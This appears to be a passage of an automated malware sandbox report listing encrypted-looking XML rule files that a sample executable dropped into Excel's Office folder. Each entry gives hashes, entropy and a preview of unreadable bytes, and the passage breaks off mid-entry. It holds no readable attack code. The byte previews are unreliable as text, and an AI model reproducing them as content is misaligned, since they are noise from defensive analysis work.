SHA-256:	BF0DCD5001E8F3A08636BF64A00B4CA858DAEE5A5B6DF6BBB536E23647030363
SHA-512:	4629C0ACBBFDCDE4FB4F7D8494BA309C93F66177C18B5E2C081B9463F6D058EFA361038F1DE3856F6722359D79EFE07C973FE14AD385785D25948C95036BAF77
Malicious:	false
Preview:	<?xmlOI.21.3VGE...........4s=;w..4^.A.. ]h............O:N..1.5[...u.>.2`8.......M.lAN8.{....`u..vx../s..l..\...g$...=..c.5..........Z:..&G..#.....1b..0..T.bS.c.U.p.P......!.......RA..J...&.........`..F......)....?..j....DU4...".e&X..tS.`....M/..N....u.....Q..)..Z.-k.$m.?\|S......x.r.p.rA..U..^FE.....2..G........Y..N...._.G.&n........s.4..E..Xx...]..g57. ..+?...0...L..4U...../.@...1......!..D.r.aT.^?..C...8NF.GG...CO.Il...Z..?@.3.R....V....{w...@....Fi9..5.VW..~w...=.G..2.:.0Z......pYPPZ..n..c.v.Z{.s......@..H%....[..j.k.......ee[.m.g.#...b#`..3....G..\\}.zM........I>...:..X..x-...Q.D......}EV.B.+.U....>.Q..I..7...D.......NS.x)..`.`.9x.V..,..`...-....Df.j.9hE......X.......e.2V..jSwg.............e.[v,+..O^.B.`..`J..a.H.....RXE....lh...>.m.....3...t...........?i.0p"..+.-..v.8.\|8.a2...#...G...G...n.z.h.;.(.J..N&..7.<.$f...Ae....$B..F...LR.....8_.{.\..W.6....N......!...9.!S.}.]'Q.)k.p.t..W.O..l.....W..L.D..`-..!Q%z..L..P..gV.:..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68016v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.775304846453884
Encrypted:	false
SSDEEP:	24:JO1yYTSm6UFoPkhJDxuo29Kr5mg0cQ/aw1bD:M0mdfhR4o29Kdz0cVyD
MD5:	109A5CC9A3E467CDB79FCA70FE657994
SHA1:	8CB940CD2C2340124F8F5C665EF08B2060324DED
SHA-256:	F5920C31883937C3E33246D198859BA8BF09396DA8FF1EA8905C23F5E849EBCD
SHA-512:	E9189D45B3E43183D5E6FF1D011AD1C736624974A12063F2B482280974CFDC8773BC2E8B1761E22B6B44415A6ADFA3FA37AFC59BDC1BB5EE611B8EE8D3BF83E8
Malicious:	false
Preview:	<?xml....Po..=MT...wP.....=p. 87[y...lTK...X.....c...Q.Y.S..i.......~....x..p.`..y2....]l.E'"...s.vy.d.%...g.d."...G0...........;.....:.2.#m.....b....3V.FT...B.O.hi-....!o....D...R.".....d.V.X".ag...]Z.k..8..$x.."...[.....@..b'....,.}.....C.._....w.!.;..^B.!.\|{F.o...........y...}.....@B.5..7.......N.w.....6V[K..T...]Ho.b. ...l6..mo...+1M0><q..m.pU..g...V(....l.......R.......i.#....O...e.Q.@.[wX3..T9...)..U.,.@.<..os.Rjp.aP.....V.<.)no.s..F..>.;z...C.....+b.o.&...n5o........M..9....?A.W.V..6..9.p~M.u.7A.C.%wa....5.Oe..fL^X1...Ei.D9...........H8...'\|r......{)..e.vV.=.]c..`.}0.?...eZ1.W[-.i...W.3.[D:...6P5'.~J.B.yf.A..x..8...t...Ml....s.~&K....&%.'.g.D...d".E..8.C....:.&...G.....Q...<.V.S.x`..o.`.U.....>..#........a..d....<\....?...S..v.K4A.....i.!GJ/.<.)....w=.x'...........;RE......N..k...e...<99..'S.......-.../=.....<r+..dD....v..o.dR>..2..T..h.....*_-...T...b.66>G....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68017v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1186
Entropy (8bit):	7.841524636748545
Encrypted:	false
SSDEEP:	24:Pmb4OlJaa/N3OAFvsIakrCZqEHBnIGC8MCdRU54mbWy8w1bD:PQZN4kkIabmdHKvyD
MD5:	D31EAEEEC165097D38E8670ABE348EAC
SHA1:	3C8169A79B8834E0226766D8A50DE90D12C18E6B
SHA-256:	FC5A2916D2C22FEF0C82E79CD0B172B0054AE1D842DB2A02A6AA4713DC5BA89D
SHA-512:	9A1CEF4F4B64CB33676F000453CB1D37ECDC164FCDD1D816BFCF034DB9FA09120B7D8BC396791C13344C02C181D51636A1F323FA5705A19714575F0E702BF524
Malicious:	false
Preview:	<?xml.LG...X.<.x...........".G...Q.l.)..]..L..x.V"...!.iG.W]=.).{....E...+E..>..{.~^.......Q...T......(.....S.....i..>.n..G'zN.l....9...CZ.].{.X..2.m%...peq.F..k/O.._.Nb=\YOt....E....r.c.=...~.?>s.-.#...U..)(..#...].#.5.....@..R.L~.-...St..`Ui..G....$..L...Mn...(.R...5...6:....~>...g....v..aB.TA=.'....p.K@....B...kG..O.DF.!...P#H.H.N..=.g.2.h=..t..&....i...V~MSGn.t.l..>3.[?3.\|..6.......!..&...YR./..m.:...:...R\.X...+..B..b.C...I.y.p...z<..Tho....................K.D...CE......h.W=..W..7%.c-..o.Y.y..kd.Y...L>...i.3."B.....VpYW.F=../.,y.N.d..X1m..]I%..c..V!...+v..A...s."..v..!o.wz..u.r..2.i.g.....8.:..c(....7..d!1....A.9UW.a...e...R.Z.x>4 ......&...x..u.....9}'....I3...~.}.y..^....TCp...h....M.I....%]..>]/..L.O;.T...B.:..^&...;..C.(!\.-.z./.r...E..$....I..nc...W..l,i...aW......@....u.!.8.!.?..x5...~4../..d...Mq.S'.......@..=......L..q%..$.a...%%1....8..<..........s..F.:Q...@.d..!.C......i..eL..yp .....<.m.......K".@]....9...i ..._.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68018v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.830565552486304
Encrypted:	false
SSDEEP:	24:9jry5m1EM9jgTXL56uH0tOuNrHQ2twtZRTKqUV5+LMyxqgfxOAIzw1bD:tm5YjgTXN6u+FNr5oZRTJU+7bfvIzyD
MD5:	9040F29FCBA29A42E3627BD5B7F25591
SHA1:	6363E74D164A08C907D8267E71AB3D8310608658
SHA-256:	293D5C980AC45673ACF50BCB799F93DE92B64B7F98782B8DCE3104E09DBA2C55
SHA-512:	C9BED04145F158195023319BB0B5B7881F22080AFAFFB0EB64790380161F1B184AFEDA2B557789AFD3184EA9993913D0C75B8A95710C509CE73FF8D676CD6FEB
Malicious:	false
Preview:	<?xmlY..5\.U.G..r.R,.DlU$..wZ.b7.^.6v..S..`..d..i..\........4...@rK5..#....M..G..uA[.........H...iL..).p.!.......W..\|.c6.....@.}..2.ZSd..j.Z....v.y"y..r@$%h.z)....m[V`..K..FCt.M.c.`.d.J.w..4.....T.).>.Q>...:_d..{T.l...R6%.n\|.&usHb...........I......X!.S...T...X.U.....^7L,.........q^;.w..........^P).24..&..I...........^..~.W.B....T...tg.k.'....4.6...Cm.:^Sk..C..v&[.x-v......y.....2...4.....C..s.y+.....$].J..dAX..C.L...K.e.y..Z..P?.A.{..h.>),..g>A8T.V.e(l.}.W..`..Y.]kL...#..<...l.T...h2O ._n.0...9A.......D#......6#ElB.j.C...Er.......RFf.@....'.E......o.N.(.....k.y....[.k..3..vz.Y...:"k.g..1...Ss`.t...^'G{......(.[.II.D.k....;........].Z.]...(F.Cx.)........&........4.b...G.>.8I......W..>j.H..Y.;..SD..2..N@0......E....HH...Y......^....B..b..)..e.9M.>.qF.5.4...6.ip".:..Z<.d...<.....F...U\...M.M..X.... .4f.$.Z\...sfL8.C.....K...Z,..=D...\.h.r..kz,...Z..I. .f...w...m6.. ...7....m...t.L.$..9@F.9B:WX.z..*(.Vj5.7...d.S...2N.W....=S

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68019v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.894465546748181
Encrypted:	false
SSDEEP:	24:7i8DlLo1kWCNEZ2YDWykUHNxRA0bF/q07STefOsbuNUcwAKtiqUFsQChpbkKow1X:rDsNIEpDWxUtxRX/pbfJy2cwjn/bCyD
MD5:	97FFF74175C7BFF612CC170FFF251638
SHA1:	EF2525FEDEC89C25E063C390815923CEB9DA7279
SHA-256:	34C8A08CC16EE8EA44A104934412B007C27B21D346820592DA030DE114FD7C41
SHA-512:	EBC200001AAAAF56464CC5179E4C9FE37E01AE50670D2BDC55D15E213FB61BE0C2EE89A006E7F81A8F870E959CBB681CF28FFDABD8B46CF83A15392A128B4EB9
Malicious:	false
Preview:	<?xml.c.$..^.5..=0._.2=;.A...X..Q.i-On..4.. N.:..I.....p=.oc=..3.....ay..&.y..zy.l..p.. jJE3,.......q..I...K.._..&.1.7..@...i..@.\|.....K..\|.....`..F3...4X....Gx..t..W......25..S.....C...H.._.n.$.....I....f.&Y...Z.<.3.d..#....p..d.HPQ... .xF$..bw...F<0c.....Iq.....+_..S...7.Y.G.`W.@.........i..eM.i.A.`.>...7}.....j...6_.'........-..~......\8YC.O..."Bhb.M.(...e.?..0.&.......L...a..$$...{.M...P..L....4......"G{.L`.B%...-.I!....z%.t^..0...wO.a.n..H_..'.h>..=,^gL.N....n...\|g.....].1&....M..5P.3..c...ux7z&...ff..`..e....b...@...X&.].D...Vh+.8....]....9...........SX-`#,.e..g'g..}./..U..\....%...p.GH~. ...j$.D....9.....C.P.&u.......S..0..70..../+)x..i...v...a.D......G..T..=..7?.F.<[u....@PNy..K=..{#2....._.......3.M.]s@.).~z...4..Zn%...;.........8H.cJ....M...../=7...d.:.....n..0x..2>{...+%.)....G[t..x.Um.Cw.-..~...T.\|..L..^..~U..(..%.i..6.a.QX....b.v.`...h`<..p.XY..q.......\|I...].iL..C.D.......t.+U....3..i4.._..%.."......^Z.Ki&`g.&.(.d...>....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68020v3.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	7.845412778440906
Encrypted:	false
SSDEEP:	24:LusybXM6fmHf//ybrx4ARUt5RnexxAqCC4IuHwAMHSYg5kYNG0UHhrw1bD:g9+C3pRULRuxAqCC0wyYg5k6AyD
MD5:	002FE86442E24FDD4BEAAA902D1E36FA
SHA1:	ACE101940A1B4D05B6C7AE1D065DF2ED80F94A20
SHA-256:	A0588A77A5F7044D8763E08946651D4E7672888BEE04A0737DA2EF33B5690811
SHA-512:	36E5CD6B81F0E687DA113227CE330670132E23D6D600F99D107C21097288040C07B336FFD04738232C47D7866A4592176B7673851B722B92DCF7D43D0CEF0E29
Malicious:	false
Preview:	<?xml[d..")./.O.4.....[...G..R..w-N..Wf.rSu.W...8......>&....S8..6....7W..w.A72...Va:.e_"W....zM.);.<{.,.0...H.;..,!.x...E...b..L.<....q ......yH..e..'7<.......J.]X.>.r.6........$..T..1..<t...Jr.".......AO., .@.F.X!i.@...j.d...g.^F\.A.g..9.j....1..v.4...?.C..Y.dR.s......X.8.s.'z.`."Q.._}6..ciR..8.......v.O..O....jRvpw......zr].}..Rb....n.e.C!.v.\|r.n.\|.%b....... .....k...i....[....."h...k..(..v@...g..b.{2..Ll....JN..q.t.U`z..q}pu.bH....<%.o..]4.1.h..R%.A.b,..#Y;.<.,../.#pH..Zmr;.C...!A...T............=.T_..O!..<..P..[....!a!....c.i....j..d..J.7....FP.o....$.^........I.?..:Z...F...]....oi...^..Y...[X.M..N)~4.....~.B........l?...;c]K..I.'....=99..;.v+.o....>j0._.Z.(CRm83..1.O./5.C..y..;..."...M......j..1^_5.......:.x...o.2{/$6.. V.!.<.4q.;NV.z..H!H...n.F..\.*.Bbgl.."..+..!..<.b..K.D.....<... ..?D......8... N...:<..2...A&$..x.M..2...0..\$h.!......(.. .."q.YS./..f.u.=/....%.]../....,..z..C.>....,M..)d.by&...<..T..J5......x.o2N)..%.b

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68022v8.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	7.892796311547821
Encrypted:	false
SSDEEP:	48:tmngl82OdSfHCO1RriWWaMChj1D8GDelTYkLc3JhYyD:Bl82CSqO1RGW0CoG8TYkLCrYa
MD5:	178373A0E48AB22F418AE983BF6A981D
SHA1:	233F66EFB1DA123E068BD4F92564BA88FCEE4CB3
SHA-256:	A3F56F1FBA715BE37CA2816DBBF7841C62198C3096155DD4C63913BE1AA01415
SHA-512:	26A269A80F3194167C83A0ED95F1DBAFD5DA9D3C746F1F5D22C3762230E123B4AC171D7864B78AC0E40F3979510E205CB70B409460F37345A4369E66EEC4010B
Malicious:	false
Preview:	<?xml..o...l.C..M..O].k.LH-?...5.e9Y.<.0r..X......`k..B.d..Fd(.vi.;~RP.......H..8..n.k.g.._......@.Y...D..2....G......VYQmqu.....w.m....0..<b8w.....9...\.T..k...j..^...hP..).\^.J..J[<o....6..[.v_].\|z...)Mq...........GL%3....H.a.REU4..t...0G.y`<._j4yq..x}4.gh....a..SB.....d...E.T....&$W.&oa..h.l.#.K....l.&.R"#K;...{g):..............C.WG..Y4..o.....6...1.4.X\|.i...`..HZ..x......p.....B.........)G...e.....T.n.b.>..=.b.P^P.....p...Ep.>.}...uv.h<h%../.u.?...a...A.....!.g....:N.yE.g.qh.'UQ5...,.....JJ....i....%.....%.K....Z.;.....O+.............><V.e.i.MQ.....W...^......;.J.'...^:..{$..v.ja&q.....u..\.S...O?T........tp...f..\|.`..... ..........PO....xy..z.NP.sQ.\|g..n....wi....v..*.....`\N&.cD.#.Z.zJ.y{.-.@".X..4.T.[f..<...b.H..w.s.}{2..G&.S..5...%...}......#.SR8..Fl.Y...I]Lg@F.}.Y........t.%.......m\|.R.x.5d....C>..&.Fl.....E.?......=..&D%..I....>U...fU....E.......N.y.\|y^g...x......Jc/.tXi[.-.x... J.G..Q..]X..J>SN...6.z..V^.A...I.i.Z./..0..&:?....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68023v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1509
Entropy (8bit):	7.866270641635573
Encrypted:	false
SSDEEP:	24:RaqUDIP4jeRVgx/LIWMYWYxkSocLkfxB3XRZiJwXw4YPxnfYhuWTuw1bD:RHU8gjeRKdukxod3XFXw3gDCyD
MD5:	656AEAD1B42D812DBA476B99698EB6A2
SHA1:	B6C429D4DEB33BF67C4B6D8670C714486B892D2A
SHA-256:	70C7EAA3BB4282D5B10AB793AA04E0E5E4D2A116B93C64D1B4D6144939721A73
SHA-512:	A76150722DAB75BFA91CB3F2F36DF7D9BDB096FD6C3FA3E4801129ADDBF6A61B80F67E9AA2A911E4B55D6B1B49C5E9DC3AAE934210B36BCF18FC894ADE39D861
Malicious:	false
Preview:	<?xml...pOR..ER.d....f.t.....w4_....w#..w..qH>.F.F...".../~...AVd%..4D\..X......Z......`..bsy.rF..v.z.G...3....o.\...@...S..Y.....v:FPW...t..h..X....;....W.^.gm.w....^Z.9g...Y.4..xG...?z#exa.D.)e.F.f...L.3..{#Hy.#.$.i.m..q..zxw^V4..c..[.2W..AZD....&.... 6/........f..,..t...,.P....VH.P.w.6ug....u.....aT.lP...nkj.>.......~r..C....3....Np.Iq....U..I....%...k..1._..0l....#KU...a.....h7.yDR.2......g...j....`u.....NE....X.2.c....=..........E..U.c;V..%........1...E(7......T..z...2..`\|...t....W..i...\|.Ce......i.h..Sh.f?7.......nY......E..r./....q....)..}n&D.v?..."..&....y.#....\|..!.w..0..u.... Q..O..U....1.:...'U.....sT..G\|w.b. ./.....V~`%A..J.j..y1..FTJW.H...,.N.O.=V..S..w......m-....C.... @...x...P....d.Q.6.P=.K..\....,..I.\|.C#.{........a...{..1.......$...`.:7p..bGN>W..E..B......n...+.H..C>.WR..T/.c...5.. .y..E......Ig.#....'E#).".......r#J.Qv.).QcF...!..L....P...F..,.M...\........T^[M..d..p.nA].r.9}y........C".........a.H....y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68024v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2007
Entropy (8bit):	7.905166815698341
Encrypted:	false
SSDEEP:	48:aLUFtZq6WvHbYenzDD267Ux74pkRB8xutEMIILyD:owZq18ez77AzR+JtGa
MD5:	8AB01ED8B0CD09CFAA6CF4E10A5F86FA
SHA1:	A3B2F7205CE378B34E94AB0C28D6490D81CE9F0F
SHA-256:	677749D644C4259EFC4AACF6EAFAF74E4CC59F39DFC4E5C4BCD27B651B8318D7
SHA-512:	439AC8951B51F797A473E1332A1DB5E9C77563860399BF53C179BB6A4FDB5E21A414F8CB7839013D9E4D285FB8AF67F271824A73BF1B2BFEF26BED2BEEAEB58F
Malicious:	false
Preview:	<?xml...-]..M...3...cO..m..Wy..E....wo.....3?.T..T....?fvs..\|.6.]@b-;..............2.;...pi...<.......@.....c[u.....i."...u$.......C.N..~..D..K...Z.5.b..........j..7.A..\|h.44.gF.D....QE.`..B..V[.f..w_..P..>.....a.p.f5ZH.....FTB$..-o.K....\.d.s..&.....,.v3[...J.f.@....>..Z..m8v......R............Z,.0n.:d5u.f8........C.Dv./.Nj2...n.?...._....SqB.Cy.K..}....h.+7....(.._`.#.....l..I.I...K\.m&.&.a....V.S.K....C...^.2.G.;.O.8...Lg<...B...<......WZ...M..+..(7....w..,..M]...I..f....>oA...k....2Y.H.3Z<IF:.......i)..AS.gs_A..k..:..qg..yc.T.8...{....Q#.....{Y..2..2.3 .l\.ug...}...i-:.0.@.s.6.,.t.%....~.s....j...D.-.I.8r...Q.$<.5..:3s.L._e....\|n....h.L-..+...{}....rg..n....:._.v...!.....~X.........fMj...1....#,.IqN?.6.-..mG....@.%?Y.....T...{~P.u..f..)....A8.Hq.S......1.W6w.R^........m.......Ox.z..oH.hL.5..y....>..w....2.[....W).].^..<.}Z.....m.M....d....Y..tW.Afj.~...<..].....vv.2]M..N..@B.E..O.VZ.$.,.wv.4X.F.i.X.rP..ACB@.B.E...u.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68025v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1276
Entropy (8bit):	7.825060555987932
Encrypted:	false
SSDEEP:	24:YWCUc/cn5GvrVy7zT6qcyyCf10QSUhIsNnt2IXmrr/4+OpS6rMxDfQUw1bD:880VybrcBdmor/4fJIF1yD
MD5:	696B9C9AF5690E3A4A21C6277FE27D90
SHA1:	F11B46A87F8F57A70DEA67AF919359F75EA273E7
SHA-256:	C57159D72184D343D205E875282F1C7FB0F701CA4116DE4E3D2292617B95F03F
SHA-512:	FFAC71A7A987009494C1C38E564DDB310BB06F43F7BCDE52AF0CF155A92DBC7359BE5FF653A1F6DCDC0FAB7701D4D5166FA6CDB29D67D1072520B910209610D5
Malicious:	false
Preview:	<?xml%b"........-FX1.Wm.qL..o.{)..j...g.W.g.B...FsP.O...<...z..5[..9..tDC...y<..H.H6a.....8...c ......+...s.1r...q..f.H(]..pr....Qp.Z.s#.i[.....9./.A..V.,.=....c...k.'.9.C...t$.e;.....tGR..?..r...A9{.>....-..l.2.Isr....Q..)i+....5]..Z.. ....k.....[.!&..[.J.O....{...G.M.j....u.QL7P.uAq....g...5T...V.O%.............Uo\|(.d....2>..+.7.].WI..n")jS.g.o...........Gumo.Q}._kf.:T.k.?..oY.,.=.=z..z.....Hj....4.''...,j....../...;..V3.~S.......W...f.@......fu..g.....$-uz..`.......+t.'.J.(....w"l';c..<.U`l.c/IYK.j."....`...'...Q..4.S0}..>^Y....vw.3k....h.;.v......C.?..W.$...6.....w..u.$m.@.8!..." _a...u...R&..V..5....4$...$2.9........7%....H7q7..Jj.#...Q.[...(KZ.ES..L.l.#..i.B.B+....Q.*6..t......%....A...G.....r)a88KT..6..=......z.q..sl.8.M..b.4I.0.......@.....[...f..K....i> Qo....E.>1.[..d..k....._.f.\|...\.....[....&g{.E..9.pN.]\.5...S.5.e#AD.S[4Zi.m.7E..3...#...6.S.......}........r#.....N$...E.....x.z...I..>-8,.zJ.R%..^.....E.y..t7+S

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68026v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.891312549723459
Encrypted:	false
SSDEEP:	48:Q+6EjLVodvasc317goHD0xK3rRFew9cemL76yD:Q+fSJa73GoHgIDewRmP6a
MD5:	DD54A5C849A673B61001C49F7234A5A9
SHA1:	E513DB7C84942032B7F4A21C3B46286A1FBE2232
SHA-256:	115B163C332C83554121DC66CA632A5215D878B3CF534ED8898CF47728FFCEE2
SHA-512:	79EF92FEED83C8D47C418EFA872EC0C65FFF7E54F84746C83A1EEC9B1AD2FA032DEAB017340F2550901499D5A4891B37B95867CAF69617FD4CF8855AB33981F2
Malicious:	false
Preview:	<?xml.f.`....<`.ul..#.u..$....Er>..t.....vB....j.-........yL)P..I.U.x......_).Td..................5r..`...G............'+M~DL..\..D..../.e......`.}#+....!..M......y..)G.#.B.Wr......?...=..}..D...CE.@l4.m.vd.^....Dd6.c......F$.M.....h.....hU5%.Q.cr...KVrC#.t.>/.T..dXU....l(..Q..ECz..ba...)82n......vN...`......S.kxb.......b.<.E&A........R..(ke...p.#9f......,\|V.I._l..Z3.q......z...~\.jUt%.H.6...x..^'@~.D..H.3`.z...J.....h.......t.?.....-$....._.\Y.eYW..?4..../.qh ....d.o_.[.9`~..l.../..........\.,......".\.......q.z.W.~N.P....=>W.\.....p23;...4.-.H...x..k..{..S ...O....c.e.'Y.A..f..#.JTV..F3.D....A..\|...8.W..!...N_.]R.Z...b....C..w.<.\|Z"\I{..7g;...!?E.\|.;.e..%.%.....bz........./.......-...,.$..vXD-GU...xa...o.[.Rd-Ys...P.......dP..Z.p......YiC%....%/T....3..q...9.....?...%..,D...".,..l9.v..d.%.:v.6FE+F....9[._......: .Z8..u...Fyw...1.'!.Y./.>.s.`%......@........fkdy].8.}...`O\|J..z..d....g.!.....z..;..Y..BCm`.).....<.. .......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68027v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1180
Entropy (8bit):	7.829285916080704
Encrypted:	false
SSDEEP:	24:5x+ahJMb3y0ZXMP0ujuKOiANdzl7kN0M1IFexMw1bD:DJKZXn69Azz61DxMyD
MD5:	57CC384AD93F00DAC4A84B4843E9F0DC
SHA1:	18134F72D920592BB6D546C981312084A16D7F36
SHA-256:	36EA1F158FABBF8D625653F7F5B01FAFFBDDC571F01DA1752B4BBC54A09CA2C7
SHA-512:	F9DDAEEDE82ADD15EBA7FA34AA1EA1EFB57D30156D731B5A7AD24F7224A983D60AFD7F91F50A8615A268E0356BD6AC9E800C67490537F3894F7AD896654BADB3
Malicious:	false
Preview:	<?xml..$.P......T...........?.]>..n(...M...T '......}.#...:Z.......(.1WK...E..\..Y(..g.o.3).M.z....>...UD.T.h-\I..8.-OM......-."f?..9.0,.e~..'.+..tD..5.J.....h^.[b.%]P..&.d..B$..o..I...1.=ni....e >=;.w.T...}..].r..!..=5.]-.k.<...BL.+.d...U...IR.."k...=o..t..._.-s...i...x.j,k...`...D.K.....C...N...!...W..r.E.l~1w.Y{y....5u.~....@Y.....A"....q...Sw...#W..x.........8..J.!F...au.M.4..ue..A.8..0H.F.p..4.>`Zb.I...L..4g....hY....._.wK.`....@.kL...@.....7..CB..ho..-.%.......(x......z...0..Sg........h..PI.#.x:xn.'.4.........n.^V#h..#...P..D...z_...4..C...s.kq....:....-.fm3.......A.K..X.a....C...O>..]..L#{D....A;.d..J....o.}c..Y.s....S5.b..>)x........F.H..c.1L8......$.@...C-w&...M.u/.....Gp.-.Ht\|..a.o..Qz......4b.~.-..(>.,.).T..E.."...n..`]....=....]..1...!...<h`..q..<L@6iN.Lp...(...Z.P..<T.4....}..)h....X..E.(&JL}k.....Y...v..I..r.Jm....IR..L..,!.}.Cd..TK6....&.<...J....~..`........%.j.&..a...@n.a...].ZEd[..+.F.crs.j...3.......T.5e..I..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68028v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	7.7697493827377695
Encrypted:	false
SSDEEP:	24:BifUDf3oup8ype1RsW/hYhRLQg44g3Ekpw1bD:8f+f3ou2ypasoKQJT0kpyD
MD5:	13AD4EFADEFD0C5A82DF8BE6D42BDC27
SHA1:	4E55B07417171E69AA6ABE0962C350E3B554EB8B
SHA-256:	16C511B6FD51951A82F7332FEC6F98DD4C7A5088EC6DAE3C229E5A810AA1634B
SHA-512:	3548C58788676878BDCB1FCFD70D4578C517F83855A8B34BE1387EAAADE2F8B0A117839D7EA230F06E43E38913DEE474B346ADA8625CAFB18850180835DEB207
Malicious:	false
Preview:	<?xmlTP.+O. .BB.O.[..!.'"L\|u.;...2.%._..v...u..Nn.n.c...Ld.niH..G..0./..m...^G._Q.4..]...]..Fe:,..Gm/.gW....m/l....]S...0.n1]..6.:....c.7J'...^.\..._.S..#.Ul..B.?......m..1...q..xK.&/...Fh....P...M...d..j.k..o.M..E..f...#H.......f.....ho..x+O..l..`.,.\...K..B..c.S....U.2d8.#%..u.}...E>...R<d'2 r.Z..K..3..Y.....G..3F...MK]\@..$.<....1iU.2.g..v...q..%>.....\|..)...(...9.a.~.C.-... 0.0.0R..'#/..\w".... .k.....X..`+.#..l. VO.x...g....J.x..),xf..h..P..J...K...a.%BH.D.....f...]F.(...p.d..)6..M..Y.v.z......S..D.._z.F....p.:....l..,m!l.M.^v.l........_....V..../......!..~n.2(\;.#. 8..e..1..@.4..a..=r.g.%H:....`t..Zn.X.FY.r.._.......Ca....8g...p..).:r...z)..kX)=.....Tc..u...NL,:.\|$.l..r..I]9<_o2.Eq....J.....$#.\[#..'.../.{.R.8....0.8.E..1..;)....["...t]...NE..,..'(...NA..{.j..mUTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68029v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2224
Entropy (8bit):	7.904249405585742
Encrypted:	false
SSDEEP:	48:lb6O0nF/Z6TDZ6dlodS3y/JKBAXI1Q6p14tIoB7OfvXr/RPs8yD:dsnF/UZ6dloOyRiAY6+147BafvbRs8a
MD5:	7AC412E298F4C5C2C26297FE52383814
SHA1:	7B460E0E922C126818F047774E2842B46867149B
SHA-256:	D2F0BEA12BD1D5540A06EDD217B5BD0B61EF0AD6D911832EC3F206BB4407D888
SHA-512:	62D5F08EBF46B1D5ABBA242F0FE85AE490AF0627ED21CC119D4F6FA0DAAD314B592CAA320C59ABB0C7042026BE13955ED1F8668C1D0137B57960887CCD2E099C
Malicious:	false
Preview:	<?xml...`>.3.c.r.^.5.TRLo~y.3.R.....U.=...3......U..;.uWFe.G.e,..6....{.h....DX..v.B%....Z.cr"...,EF<..KlH.q)..G"<.J.c..rb...=d>,..F>......;Y..../......^.._..#...T.....0.....=.....!] G..(.>...Hw..A...n....U?G.......S...3...R.Q..lM%D..h.r._R...M..\......'Z@r..SX.BV.S<.d......(....\..?..k ^._-."......`.....".fMyK..jh$..z.n.`.,..^.....=..a....z.........@.Wx.q'._+v.mb;5......O...h...'x.]...V..-.o#..c...W......Z...'..F..?+s.W....Q...7L.i.^......].....!.[....P.2. .Ac.....+...6..l...F.1v..N5..Y.....\|>..N)O..3..>K.`......(9Q..[4.yFMq...}...Zy.9.$_.b@YNnm".'..zS.`o].:`e~.Lxq......_p_P`}..'S.P9.~>@...~.=U).z.........+.......`,?...<..s\|-...TL./.".2...5PK...k.XbQ...x........y..~S.M..Z.B..o.\|p...$vcE.....g...J..dd>M7.0N1.....e.+..[......X.F..9zp.6D...N.y.@..'.... ..g.K$.\|_.).qK9BX.p..G.$.........d...om._..TC..R...>....l.Y..&.w..{_..g.9.a........j.F.%..[...#?.*:X9.y.9f. ..Y.`..r...R...S..D..+.u...,..M..J..bO...N.=..K\.x....\|...@h/3....0lEB....e1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68030v6.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1560
Entropy (8bit):	7.869127304507824
Encrypted:	false
SSDEEP:	48:0KZk0Rug9hmpWFNj/0PMcpSCGSidkf56agAWUy8ayD:0KZkAug2Wf87Gtk56a/Wfba
MD5:	B273ABE3DD7A59BE3E42A00CF2B7859A
SHA1:	37ACF0A817441C6FFA4ACFD51E4F5A1B59D2F49F
SHA-256:	637C1DF673E7DB7660A6663ECC8EB53011B95B480C4D3C625FE7B0B41E2596A7
